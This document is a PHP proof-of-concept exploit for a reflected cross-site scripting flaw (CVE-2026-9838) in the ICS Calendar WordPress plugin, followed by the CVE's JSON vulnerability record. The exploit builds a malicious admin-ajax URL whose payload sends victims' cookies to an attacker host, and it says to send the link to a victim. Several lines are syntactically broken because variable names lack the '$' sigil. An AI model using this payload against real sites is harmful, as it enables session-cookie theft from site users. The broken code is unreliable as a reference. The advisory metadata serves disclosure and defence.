CVE-2026-9838

<?php /** * CVE-2026-9838 - ICS Calendar Reflected XSS PoC * Affected: ICS Calendar plugin for WordPress <= 12.0.9 * Vulnerability: Reflected XSS via 'htmltagtitle' parameter */ // Target WordPress site URL $target_url = 'https://target-wordpress-site.com'; // Malicious JavaScript payload to be executed in victim's browser // This example steals cookies and sends them to attacker's server $xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // Construct the AJAX endpoint URL with malicious js_args // The htmltagtitle parameter bypasses shortcode allowlist check exploit_url = $target_url . '/wp-admin/admin-ajax.php' . '?action=r34ics_ajax' . '&js_args[htmltagtitle]=' . urlencode($xss_payload); echo "Exploit URL: " . exploit_url . "\n"; echo "Send this URL to victim. When they click, the XSS payload executes.\n"; // Alternative: Direct HTTP request simulation /* GET /wp-admin/admin-ajax.php?action=r34ics_ajax&js_args[htmltagtitle]=%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1 Host: target-wordpress-site.com */ // cURL-based exploit delivery $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, exploit_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $response = curl_exec($ch); curl_close($ch); // Check if response contains unescaped payload (vulnerability confirmation) if (strpos($response, $xss_payload) !== false) { echo "[+] Vulnerability confirmed - payload reflected without sanitization\n"; } else { echo "[-] Payload not found in response or was sanitized\n"; } ?>

{"cve": {"id": "CVE-2026-9838", "sourceIdentifier": "[email protected]", "published": "2026-07-10T09:16:54.110", "lastModified": "2026-07-10T15:43:30.330", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ICS Calendar plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'htmltagtitle' parameter in all versions up to, and including, 12.0.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. The vulnerability is reachable via the unauthenticated wp_ajax_nopriv_r34ics_ajax AJAX action, which accepts attacker-controlled js_args values merged over stored shortcode configuration without nonce verification, allowing the htmltagtitle key to bypass the normal shortcode allowlist check."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "room34", "product": "ICS Calendar", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThanOrEqual": "12.0.9", "versionType": "semver", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-07-10T14:04:26.409711Z", "id": "CVE-2026-9838", "options": [{"exploitation": "none"}, {"automatable": "no"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ics-calendar/tags/12.0.5.2/r34ics-ajax.php#L33", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ics-calendar/tags/12.0.5.2/r34ics-ajax.php#L53", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ics-calendar/tags/12.0.5.2/r34ics-ajax.php#L72", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ics-calendar/tags/12.0.5.2/templates/calendar-month.php#L40", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ics-calendar/tags/12.0.8.4/r34ics-ajax.php#L33", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ics-calendar/tags/12.0.8.4/r34ics-ajax.php#L53", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ics-calendar/tags/12.0.8.4/r34ics-ajax.php#L72", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ics-calendar/tags/12.0.8.4/templates/calendar-month.php#L40", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?reponame=&old=3563728%40ics-calendar&new=3563728%40ics-calendar", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a4d91b01-5034-42b5-857f-c66c875dd562?source=cve", "source": "[email protected]"}]}}